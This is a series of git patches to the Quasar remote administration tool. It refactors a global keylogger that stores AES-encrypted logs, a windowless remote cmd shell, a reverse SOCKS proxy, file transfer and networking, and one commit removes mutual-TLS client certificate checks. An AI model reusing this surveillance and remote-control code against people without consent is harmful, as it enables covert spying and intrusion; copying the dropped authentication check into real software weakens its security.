KeepAliveTime); - sslStream = new SslStream(new NetworkStream(clientSocket, true), false, ValidateClientCertificate); + sslStream = new SslStream(new NetworkStream(clientSocket, true), false); // the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket - sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient, + sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticateClient, new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint}); } catch (Exception) @@ -319,12 +319,6 @@ private void EndAuthenticateClient(IAsyncResult ar) { con.Stream.EndAuthenticateAsServer(ar); - // only allow connection which are authenticated on both sides - if (!con.Stream.IsMutuallyAuthenticated) - { - throw new AuthenticationException("Client did not provide a client certificate."); - } - Client client = new Client(_bufferPool, con.Stream, con.EndPoint); AddClient(client); OnClientState(client, true); @@ -335,54 +329,6 @@ private void EndAuthenticateClient(IAsyncResult ar) } } - /// - /// Validates the client certificate by checking whether it has been signed by the server. - /// - /// The sender of the callback. - /// The client certificate to validate. - /// The X.509 chain. - /// The SSL policy errors. - /// Returns true when the validation was successful, otherwise false. - public bool ValidateClientCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) - { -#if DEBUG - // for debugging don't validate client certificate - return true; -#else - // if client does not provide a certificate, don't accept connection - if (certificate == null) return false; - - chain.Reset(); - chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck; - chain.ChainPolicy.VerificationFlags = X509VerificationFlags.AllowUnknownCertificateAuthority; - chain.ChainPolicy.VerificationTime = DateTime.UtcNow; - chain.ChainPolicy.ExtraStore.Add(_serverCertificate); - - chain.Build(new X509Certificate2(certificate)); - - bool result = true; - - foreach (var status in chain.ChainStatus) - { - if (status.Status == X509ChainStatusFlags.UntrustedRoot) - { - // self-signed certificates with an untrusted root are valid. - continue; - } - else - { - if (status.Status != X509ChainStatusFlags.NoError) - { - // if there are any other errors in the certificate chain, the certificate is invalid. - result = false; - } - } - } - - return result; -#endif - } - /// /// Adds a connected client to the list of clients, /// subscribes to the client's events. From b0ff8ac90748f6e5bb158d743a632251ec974c72 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 9 Nov 2018 15:39:21 +0100 Subject: [PATCH 161/229] Add issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 29 +++++++++++++++++++++++ .github/ISSUE_TEMPLATE/feature_request.md | 14 +++++++++++ 2 files changed, 43 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..e47ec04de --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,29 @@ +--- +name: Bug report +about: Create a bug report for this project + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**System** + - Server OS: [e.g. Windows 10] + - Client OS: [e.g. Windows 7] + - Quasar Version: [e.g. 1.3.0, commit-id] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..81e6b0683 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,14 @@ +--- +name: Feature request +about: Suggest an idea for this project + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Additional context** +Add any other context or screenshots about the feature request here. From 871d29fe0bce21ce407da38e18fe77947016d902 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 19 Nov 2018 16:44:39 +0100 Subject: [PATCH 162/229] Update Readme --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 0c8e871e9..a874823a7 100644 --- a/README.md +++ b/README.md @@ -44,12 +44,12 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us * Windows 10 ## Compiling -Open the project in Visual Studio 2017+ and click build. See below which build configuration to choose. +Open the project in Visual Studio 2017+ and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` on the top or by pressing `F6`. See below which build configuration to choose from. ## Building a client | Build configuration | Usage scenario | Description | ----------------------------|----------------|-------------- -| Debug configuration | Testing | The pre-defined [Settings.cs](/Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. +| Debug configuration | Testing | The pre-defined [Settings.cs](/Quasar.Client/Config/Settings.cs) will be used, so edit this file before compiling the client. You can execute the client directly with the specified settings. | Release configuration | Live use | Start `Quasar.exe` and use the client builder. ## Contributing From 3741836281f3066ddb9f93358549f66ce38058a2 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 26 Nov 2018 18:48:37 +0100 Subject: [PATCH 163/229] Initialize Reverse Proxy in constructor --- Quasar.Server/Messages/ReverseProxyHandler.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Quasar.Server/Messages/ReverseProxyHandler.cs b/Quasar.Server/Messages/ReverseProxyHandler.cs index 16f91e257..ef5b8b598 100644 --- a/Quasar.Server/Messages/ReverseProxyHandler.cs +++ b/Quasar.Server/Messages/ReverseProxyHandler.cs @@ -17,7 +17,7 @@ public class ReverseProxyHandler : MessageProcessorBase /// /// The reverse proxy server to accept & serve SOCKS5 connections. /// - private ReverseProxyServer _socksServer; + private readonly ReverseProxyServer _socksServer; /// /// Initializes a new instance of the class using the given clients. @@ -25,6 +25,7 @@ public class ReverseProxyHandler : MessageProcessorBase /// The associated clients. public ReverseProxyHandler(Client[] clients) : base(true) { + _socksServer = new ReverseProxyServer(); _clients = clients; } @@ -59,7 +60,6 @@ public override void Execute(ISender sender, IMessage message) /// The port to listen on. public void StartReverseProxyServer(ushort port) { - _socksServer = new ReverseProxyServer(); _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; _socksServer.StartServer(_clients, "0.0.0.0", port); From 0bfb0b8cc5131a00c902e7243bf10dba5b7280cc Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 26 Nov 2018 18:50:13 +0100 Subject: [PATCH 164/229] Remove duplicate RegistryValueToString method --- Quasar.Server/Forms/FrmRegistryEditor.cs | 22 +--------------------- Quasar.Server/Registry/RegValueHelper.cs | 8 ++++---- 2 files changed, 5 insertions(+), 25 deletions(-) diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs index b2ef318cc..c724873bd 100644 --- a/Quasar.Server/Forms/FrmRegistryEditor.cs +++ b/Quasar.Server/Forms/FrmRegistryEditor.cs @@ -361,7 +361,7 @@ private void ChangeValue(object sender, string keyPath, RegValueData value) var valueItem = lstRegistryValues.Items.Cast() .SingleOrDefault(item => item.Name == value.Name); if (valueItem != null) - valueItem.Data = RegistryValueToString(value); + valueItem.Data = RegValueHelper.RegistryValueToString(value); } tvRegistryDirectory.SelectedNode = key; @@ -374,26 +374,6 @@ private void ChangeRegistryValue(RegValueData source, RegValueData dest) dest.Data = source.Data; } - private string RegistryValueToString(RegValueData value) - { - switch (value.Kind) - { - case RegistryValueKind.Binary: - return value.Data.Length > 0 ? BitConverter.ToString(value.Data).Replace("-", " ").ToLower() : "(zero-length binary value)"; - case RegistryValueKind.MultiString: - return string.Join(" ", ByteConverter.ToStringArray(value.Data)); - case RegistryValueKind.DWord: // show hexadecimal and decimal - return $"0x{value.Data:x8} ({ByteConverter.ToUInt32(value.Data).ToString()})"; - case RegistryValueKind.QWord: // show hexadecimal and decimal - return $"0x{value.Data:x8} ({ByteConverter.ToUInt64(value.Data).ToString()})"; - case RegistryValueKind.String: - case RegistryValueKind.ExpandString: - return ByteConverter.ToString(value.Data); - default: - return string.Empty; - } - } - private void UpdateLstRegistryValues(TreeNode node) { selectedStripStatusLabel.Text = node.FullPath; diff --git a/Quasar.Server/Registry/RegValueHelper.cs b/Quasar.Server/Registry/RegValueHelper.cs index 04eb68187..71110d95f 100644 --- a/Quasar.Server/Registry/RegValueHelper.cs +++ b/Quasar.Server/Registry/RegValueHelper.cs @@ -1,7 +1,7 @@ -using System; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Common.Models; using Quasar.Common.Utilities; +using System; namespace Quasar.Server.Registry { @@ -29,10 +29,10 @@ public static string RegistryValueToString(RegValueData value) return string.Join(" ", ByteConverter.ToStringArray(value.Data)); case RegistryValueKind.DWord: var dword = ByteConverter.ToUInt32(value.Data); - return $"0x{dword:x8} ({dword.ToString()})"; // show hexadecimal and decimal + return $"0x{dword:x8} ({dword})"; // show hexadecimal and decimal case RegistryValueKind.QWord: var qword = ByteConverter.ToUInt64(value.Data); - return $"0x{qword:x8} ({qword.ToString()})"; // show hexadecimal and decimal + return $"0x{qword:x8} ({qword})"; // show hexadecimal and decimal case RegistryValueKind.String: case RegistryValueKind.ExpandString: return ByteConverter.ToString(value.Data); From 01d7e9443448285d90ed9484e57112f3a68f58ca Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 18 Jan 2019 18:35:13 +0100 Subject: [PATCH 165/229] Update BouncyCastle dependency --- Quasar.Server/Quasar.Server.csproj | 4 ++-- Quasar.Server/packages.config | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Quasar.Server/Quasar.Server.csproj b/Quasar.Server/Quasar.Server.csproj index fac5d9303..a46ccf0e2 100644 --- a/Quasar.Server/Quasar.Server.csproj +++ b/Quasar.Server/Quasar.Server.csproj @@ -48,8 +48,8 @@ false - - ..\packages\BouncyCastle.1.8.3.1\lib\BouncyCastle.Crypto.dll + + ..\packages\BouncyCastle.1.8.4\lib\BouncyCastle.Crypto.dll ..\packages\MouseKeyHook.5.6.0\lib\net40\Gma.System.MouseKeyHook.dll diff --git a/Quasar.Server/packages.config b/Quasar.Server/packages.config index c44e5b733..242a03af0 100644 --- a/Quasar.Server/packages.config +++ b/Quasar.Server/packages.config @@ -1,6 +1,6 @@  - + From 05531a04496ec029397a7e99a634e14459f74724 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 26 Jan 2019 15:07:14 +0100 Subject: [PATCH 166/229] Re-use AES instance when writing and reading logs (fixes #749) --- Quasar.Client/Utilities/Keylogger.cs | 18 ++++++++---------- Quasar.Common/Helpers/FileHelper.cs | 12 +++++------- Quasar.Server/Messages/KeyloggerHandler.cs | 2 +- Quasar.Server/Networking/QuasarServer.cs | 4 ++-- Quasar.Server/Networking/UserState.cs | 6 +++++- 5 files changed, 21 insertions(+), 21 deletions(-) diff --git a/Quasar.Client/Utilities/Keylogger.cs b/Quasar.Client/Utilities/Keylogger.cs index 9673ba802..ad2dc0ed0 100644 --- a/Quasar.Client/Utilities/Keylogger.cs +++ b/Quasar.Client/Utilities/Keylogger.cs @@ -2,6 +2,7 @@ using Quasar.Client.Config; using Quasar.Client.Helper; using Quasar.Client.Networking; +using Quasar.Common.Cryptography; using Quasar.Common.Helpers; using System; using System.Collections.Generic; @@ -32,15 +33,16 @@ public class Keylogger : IDisposable /// /// The directory where the log files will be saved. /// - public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME); } } + public static string LogDirectory => Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME); private readonly Timer _timerFlush; - private StringBuilder _logFileBuffer; - private List _pressedKeys = new List(); - private List _pressedKeyChars = new List(); - private string _lastWindowTitle; + private readonly StringBuilder _logFileBuffer = new StringBuilder(); + private readonly List _pressedKeys = new List(); + private readonly List _pressedKeyChars = new List(); + private string _lastWindowTitle = string.Empty; private bool _ignoreSpecialKeys; private IKeyboardMouseEvents _mEvents; + private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); /// /// Creates the keylogger instance that provides keylogging functionality and starts it. @@ -49,9 +51,6 @@ public class Keylogger : IDisposable public Keylogger(double flushInterval) { Instance = this; - _lastWindowTitle = string.Empty; - _logFileBuffer = new StringBuilder(); - Subscribe(Hook.GlobalEvents()); _timerFlush = new Timer { Interval = flushInterval }; @@ -276,11 +275,10 @@ private void WriteFile() if (_logFileBuffer.Length > 0) { - logFile.Append(_logFileBuffer); } - FileHelper.WriteLogFile(filename, logFile.ToString(), Settings.ENCRYPTIONKEY); + FileHelper.WriteLogFile(filename, logFile.ToString(), _aesInstance); logFile.Clear(); } diff --git a/Quasar.Common/Helpers/FileHelper.cs b/Quasar.Common/Helpers/FileHelper.cs index 706d3fd5a..b583e1ea0 100644 --- a/Quasar.Common/Helpers/FileHelper.cs +++ b/Quasar.Common/Helpers/FileHelper.cs @@ -75,14 +75,13 @@ public static bool DeleteZoneIdentifier(string filePath) /// /// The filename of the log. /// The text to append. - /// The encryption key. - public static void WriteLogFile(string filename, string appendText, string encryptionKey) + /// The AES instance. + public static void WriteLogFile(string filename, string appendText, Aes256 aes) { - appendText = ReadLogFile(filename, encryptionKey) + appendText; + appendText = ReadLogFile(filename, aes) + appendText; using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write)) { - var aes = new Aes256(encryptionKey); byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText)); fStream.Seek(0, SeekOrigin.Begin); fStream.Write(data, 0, data.Length); @@ -93,10 +92,9 @@ public static void WriteLogFile(string filename, string appendText, string encry /// Reads a log file. /// /// The filename of the log. - /// The encryption key. - public static string ReadLogFile(string filename, string encryptionKey) + /// The AES instance. + public static string ReadLogFile(string filename, Aes256 aes) { - var aes = new Aes256(encryptionKey); return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty; } } diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs index 8307d36fb..c05195351 100644 --- a/Quasar.Server/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -84,7 +84,7 @@ private void Execute(ISender client, GetKeyloggerLogsResponse message) { try { - File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.EncryptionKey)); + File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.AesInstance)); } catch (Exception) { diff --git a/Quasar.Server/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs index 7783f8ddb..668f7a533 100644 --- a/Quasar.Server/Networking/QuasarServer.cs +++ b/Quasar.Server/Networking/QuasarServer.cs @@ -1,10 +1,10 @@ -using System; +using Quasar.Common.Cryptography; using Quasar.Common.Messages; +using System; using System.Linq; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; -using Quasar.Common.Cryptography; namespace Quasar.Server.Networking { diff --git a/Quasar.Server/Networking/UserState.cs b/Quasar.Server/Networking/UserState.cs index a1b46e3b6..0029e81da 100644 --- a/Quasar.Server/Networking/UserState.cs +++ b/Quasar.Server/Networking/UserState.cs @@ -1,4 +1,5 @@ -using Quasar.Common.Helpers; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; using System.IO; using System.Windows.Forms; @@ -7,6 +8,7 @@ namespace Quasar.Server.Networking public class UserState { private string _downloadDirectory; + private Aes256 _aesInstance; public string Version { get; set; } public string OperatingSystem { get; set; } @@ -24,6 +26,8 @@ public class UserState public string Tag { get; set; } public string EncryptionKey { get; set; } + public Aes256 AesInstance => _aesInstance ?? (_aesInstance = new Aes256(EncryptionKey)); + public string DownloadDirectory => _downloadDirectory ?? (_downloadDirectory = (!FileHelper.HasIllegalCharacters(UserAtPc)) ? Path.Combine(Application.StartupPath, $"Clients\\{UserAtPc}_{Id.Substring(0, 7)}\\") : Path.Combine(Application.StartupPath, $"Clients\\{Id}\\")); From c0e9ede918df0d449acaa68fb9eea7e2b5dee24d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 27 Jan 2019 23:15:27 +0100 Subject: [PATCH 167/229] Refactor Remote Shell --- Quasar.Client/Utilities/Shell.cs | 106 ++++++++++++++++--------------- 1 file changed, 55 insertions(+), 51 deletions(-) diff --git a/Quasar.Client/Utilities/Shell.cs b/Quasar.Client/Utilities/Shell.cs index 7391cb3ec..7e5bb9006 100644 --- a/Quasar.Client/Utilities/Shell.cs +++ b/Quasar.Client/Utilities/Shell.cs @@ -1,10 +1,10 @@ -using System; +using Quasar.Common.Messages; +using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Text; using System.Threading; -using Quasar.Common.Messages; namespace Quasar.Client.Utilities { @@ -14,7 +14,7 @@ namespace Quasar.Client.Utilities public class Shell : IDisposable { /// - /// The Process of the command-line. + /// The process of the command-line (cmd). /// private Process _prc; @@ -47,7 +47,7 @@ public class Shell : IDisposable private StreamWriter _inputWriter; /// - /// Creates a new session of the Shell + /// Creates a new session of the shell. /// private void CreateSession() { @@ -56,7 +56,7 @@ private void CreateSession() _read = true; } - CultureInfo cultureInfo = CultureInfo.InstalledUICulture; + var cultureInfo = CultureInfo.InstalledUICulture; _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); _prc = new Process @@ -64,36 +64,32 @@ private void CreateSession() StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, + CreateNoWindow = true, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, StandardOutputEncoding = _encoding, StandardErrorEncoding = _encoding, - CreateNoWindow = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), - Arguments = "/K" + Arguments = $"/K CHCP {_encoding.CodePage}" } }; - _prc.Start(); - // Fire up the logic to redirect the outputs and handle them. - RedirectOutputs(); - - // Change console code page - ExecuteCommand("chcp " + _encoding.CodePage); + RedirectIO(); Program.ConnectClient.Send(new DoShellExecuteResponse { - Output = Environment.NewLine + ">> New Session created" + Environment.NewLine + Output = "\n>> New Session created\n" }); } /// - /// Starts the redirection of input and output + /// Starts the redirection of input and output. /// - private void RedirectOutputs() + private void RedirectIO() { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardOutput(); }); ThreadPool.QueueUserWorkItem((WaitCallback)delegate { RedirectStandardError(); }); } @@ -108,9 +104,9 @@ private void ReadStream(int firstCharRead, StreamReader streamReader, bool isErr { lock (_readStreamLock) { - StringBuilder streambuffer = new StringBuilder(); + var streamBuffer = new StringBuilder(); - streambuffer.Append((char)firstCharRead); + streamBuffer.Append((char)firstCharRead); // While there are more characters to be read while (streamReader.Peek() > -1) @@ -119,34 +115,32 @@ private void ReadStream(int firstCharRead, StreamReader streamReader, bool isErr var ch = streamReader.Read(); // Accumulate the characters read in the stream buffer - streambuffer.Append((char)ch); + streamBuffer.Append((char)ch); if (ch == '\n') - SendAndFlushBuffer(ref streambuffer, isError); + SendAndFlushBuffer(ref streamBuffer, isError); } // Flush any remaining text in the buffer - SendAndFlushBuffer(ref streambuffer, isError); + SendAndFlushBuffer(ref streamBuffer, isError); } } /// /// Sends the read output to the Client. /// - /// Contains the contents of the output. + /// Contains the contents of the output. /// True if reading from the error-stream, else False. - private void SendAndFlushBuffer(ref StringBuilder textbuffer, bool isError) + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) { - if (textbuffer.Length == 0) return; + if (textBuffer.Length == 0) return; - var text = textbuffer.ToString(); - byte[] utf8Text = Encoding.Convert(_encoding, Encoding.UTF8, _encoding.GetBytes(text)); - var toSend = Encoding.UTF8.GetString(utf8Text); + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); if (string.IsNullOrEmpty(toSend)) return; Program.ConnectClient.Send(new DoShellExecuteResponse {Output = toSend, IsError = isError}); - textbuffer.Length = 0; + textBuffer.Clear(); } /// @@ -183,9 +177,7 @@ private void RedirectStandardOutput() { Program.ConnectClient.Send(new DoShellExecuteResponse { - Output = string.Format( - "{0}>> Session unexpectedly closed{0}", - Environment.NewLine), + Output = "\n>> Session unexpectedly closed\n", IsError = true }); @@ -228,9 +220,7 @@ private void RedirectStandardError() { Program.ConnectClient.Send(new DoShellExecuteResponse { - Output = string.Format( - "{0}>> Session unexpectedly closed{0}", - Environment.NewLine), + Output = "\n>> Session unexpectedly closed\n", IsError = true }); @@ -247,30 +237,38 @@ private void RedirectStandardError() public bool ExecuteCommand(string command) { if (_prc == null || _prc.HasExited) - CreateSession(); - - if (_prc == null) return false; - - if (_inputWriter == null) { - _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + try + { + CreateSession(); + } + catch (Exception ex) + { + Program.ConnectClient.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } } - byte[] rawCommand = Encoding.Convert(Encoding.UTF8, _encoding, Encoding.UTF8.GetBytes(command)); - string fixedEncodedCommand = _encoding.GetString(rawCommand); - - _inputWriter.WriteLine(fixedEncodedCommand); + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); _inputWriter.Flush(); return true; } /// - /// Constructor, creates a new session. + /// Converts the encoding of an input string to UTF-8 format. /// - public Shell() + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) { - CreateSession(); + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); } /// @@ -292,7 +290,8 @@ protected virtual void Dispose(bool disposing) _read = false; } - if (_prc == null) return; + if (_prc == null) + return; if (!_prc.HasExited) { @@ -304,11 +303,16 @@ protected virtual void Dispose(bool disposing) { } } - _inputWriter.Close(); - _inputWriter = null; + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + _prc.Dispose(); _prc = null; } } } -} \ No newline at end of file +} From 1249834f84f7cf5ab6cc5839f3844880d90b809d Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 22 Apr 2019 17:59:56 +0200 Subject: [PATCH 168/229] Fix file uploads --- Quasar.Client/Commands/CommandHandler.cs | 10 +++-- Quasar.Client/Commands/FileHandler.cs | 47 ++++++++++++++++++------ 2 files changed, 41 insertions(+), 16 deletions(-) diff --git a/Quasar.Client/Commands/CommandHandler.cs b/Quasar.Client/Commands/CommandHandler.cs index 0e1f8d7d7..edcc4c0dc 100644 --- a/Quasar.Client/Commands/CommandHandler.cs +++ b/Quasar.Client/Commands/CommandHandler.cs @@ -1,7 +1,9 @@ -using System.Collections.Generic; -using System.Threading; +using System.Collections.Concurrent; using Quasar.Client.Utilities; +using Quasar.Common.IO; using Quasar.Common.Video.Codecs; +using System.Collections.Generic; +using System.Threading; namespace Quasar.Client.Commands { @@ -11,7 +13,7 @@ public static partial class CommandHandler public static UnsafeStreamCodec StreamCodec; private static Shell _shell; private static readonly Dictionary RenamedFiles = new Dictionary(); - private static readonly Dictionary CanceledFileTransfers = new Dictionary(); + private static readonly ConcurrentDictionary ActiveTransfers = new ConcurrentDictionary(); private static readonly Semaphore LimitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads } -} \ No newline at end of file +} diff --git a/Quasar.Client/Commands/FileHandler.cs b/Quasar.Client/Commands/FileHandler.cs index 6be85333b..e9f1904aa 100644 --- a/Quasar.Client/Commands/FileHandler.cs +++ b/Quasar.Client/Commands/FileHandler.cs @@ -100,9 +100,10 @@ public static void HandleDoDownloadFile(FileTransferRequest command, Networking. { using (var srcFile = new FileSplit(command.RemotePath, FileAccess.Read)) { + ActiveTransfers[command.Id] = srcFile; foreach (var chunk in srcFile) { - if (!client.Connected || CanceledFileTransfers.ContainsKey(command.Id)) + if (!client.Connected || !ActiveTransfers.ContainsKey(command.Id)) break; // blocking sending might not be required, needs further testing @@ -118,22 +119,25 @@ public static void HandleDoDownloadFile(FileTransferRequest command, Networking. } catch (Exception) { - CanceledFileTransfers.Add(command.Id, "error"); client.Send(new FileTransferCancel { Id = command.Id, Reason = "Error reading file" }); } - LimitThreads.Release(); + finally + { + RemoveFileTransfer(command.Id); + LimitThreads.Release(); + } }).Start(); } public static void HandleDoDownloadFileCancel(FileTransferCancel command, Networking.Client client) { - if (!CanceledFileTransfers.ContainsKey(command.Id)) + if (ActiveTransfers.ContainsKey(command.Id)) { - CanceledFileTransfers.Add(command.Id, "canceled"); + RemoveFileTransfer(command.Id); client.Send(new FileTransferCancel { Id = command.Id, @@ -146,20 +150,30 @@ public static void HandleDoUploadFile(FileTransferChunk command, Networking.Clie { try { - if (CanceledFileTransfers.ContainsKey(command.Id)) + if (command.Chunk.Offset == 0) + { + if (File.Exists(command.FilePath)) + { + NativeMethods.DeleteFile(command.FilePath); // delete existing file + } + + ActiveTransfers[command.Id] = new FileSplit(command.FilePath, FileAccess.Write); + } + + if (!ActiveTransfers.ContainsKey(command.Id)) return; - if (command.Chunk.Offset == 0 && File.Exists(command.FilePath)) - NativeMethods.DeleteFile(command.FilePath); // delete existing file + var destFile = ActiveTransfers[command.Id]; + destFile.WriteChunk(command.Chunk); - using (var destFile = new FileSplit(command.FilePath, FileAccess.Write)) + if (destFile.FileSize == command.FileSize) { - destFile.WriteChunk(command.Chunk); + RemoveFileTransfer(command.Id); } } catch (Exception) { - CanceledFileTransfers.Add(command.Id, "error"); + RemoveFileTransfer(command.Id); client.Send(new FileTransferCancel { Id = command.Id, @@ -291,5 +305,14 @@ public static void HandleDoPathRename(DoPathRename command, Networking.Client cl client.Send(new SetStatusFileManager { Message = message, SetLastDirectorySeen = false }); } } + + private static void RemoveFileTransfer(int id) + { + if (ActiveTransfers.ContainsKey(id)) + { + ActiveTransfers[id].Dispose(); + ActiveTransfers.TryRemove(id, out _); + } + } } -} \ No newline at end of file +} From 4abbbdc85303bc854f46d3af726668194a7d049a Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 23 Apr 2019 21:05:07 +0200 Subject: [PATCH 169/229] Simplify networking code and update dependencies --- Quasar.Client/Networking/Client.cs | 284 ++++++++-------------- Quasar.Client/Networking/QuasarClient.cs | 2 +- Quasar.Common/Networking/PayloadReader.cs | 75 ++++++ Quasar.Common/Networking/PayloadWriter.cs | 65 +++++ Quasar.Common/Quasar.Common.csproj | 3 + Quasar.Server/Networking/Client.cs | 246 +++++++------------ Quasar.Server/Quasar.Server.csproj | 24 +- Quasar.Server/packages.config | 6 +- 8 files changed, 343 insertions(+), 362 deletions(-) create mode 100644 Quasar.Common/Networking/PayloadReader.cs create mode 100644 Quasar.Common/Networking/PayloadWriter.cs diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs index 32412c1f1..a4091b22b 100644 --- a/Quasar.Client/Networking/Client.cs +++ b/Quasar.Client/Networking/Client.cs @@ -1,13 +1,10 @@ -using ProtoBuf; -using Quasar.Client.ReverseProxy; +using Quasar.Client.ReverseProxy; using Quasar.Common.Extensions; -using Quasar.Common.IO.Compression; using Quasar.Common.Messages; using Quasar.Common.Messages.ReverseProxy; using Quasar.Common.Networking; using System; using System.Collections.Generic; -using System.IO; using System.Linq; using System.Net; using System.Net.Security; @@ -39,10 +36,7 @@ public class Client : ISender private void OnClientFail(Exception ex) { var handler = ClientFail; - if (handler != null) - { - handler(this, ex); - } + handler?.Invoke(this, ex); } /// @@ -68,10 +62,7 @@ private void OnClientState(bool connected) Connected = connected; var handler = ClientState; - if (handler != null) - { - handler(this, connected); - } + handler?.Invoke(this, connected); } /// @@ -84,19 +75,18 @@ private void OnClientState(bool connected) /// /// The client that has received the message. /// The message that has been received by the server. - public delegate void ClientReadEventHandler(Client s, IMessage message); + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); /// /// Fires an event that informs subscribers that a message has been received by the server. /// /// The message that has been received by the server. - private void OnClientRead(IMessage message) + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) { var handler = ClientRead; - if (handler != null) - { - handler(this, message); - } + handler?.Invoke(this, message, messageLength); } /// @@ -109,23 +99,18 @@ private void OnClientRead(IMessage message) /// /// The client that has sent the message. /// The message that has been sent by the client. - /// The length of the message. - /// The message in raw bytes. - public delegate void ClientWriteEventHandler(Client s, IMessage message, long length, byte[] rawData); + /// The length of the message. + public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength); /// /// Fires an event that informs subscribers that the client has sent a message. /// /// The message that has been sent by the client. - /// The length of the message. - /// The message in raw bytes. - private void OnClientWrite(IMessage message, long length, byte[] rawData) + /// The length of the message. + private void OnClientWrite(IMessage message, int messageLength) { var handler = ClientWrite; - if (handler != null) - { - handler(this, message, length, rawData); - } + handler?.Invoke(this, message, messageLength); } /// @@ -176,6 +161,11 @@ public ReverseProxyClient[] ProxyClients } } + /// + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + /// /// The stream used for communication. /// @@ -212,9 +202,9 @@ public ReverseProxyClient[] ProxyClients private byte[] _payloadBuffer; /// - /// The Queue which holds buffers to send. + /// The queue which holds messages to send. /// - private readonly Queue _sendBuffers = new Queue(); + private readonly Queue _sendBuffers = new Queue(); /// /// Determines if the client is currently sending messages. @@ -227,7 +217,7 @@ public ReverseProxyClient[] ProxyClients private readonly object _sendingMessagesLock = new object(); /// - /// The Queue which holds buffers to 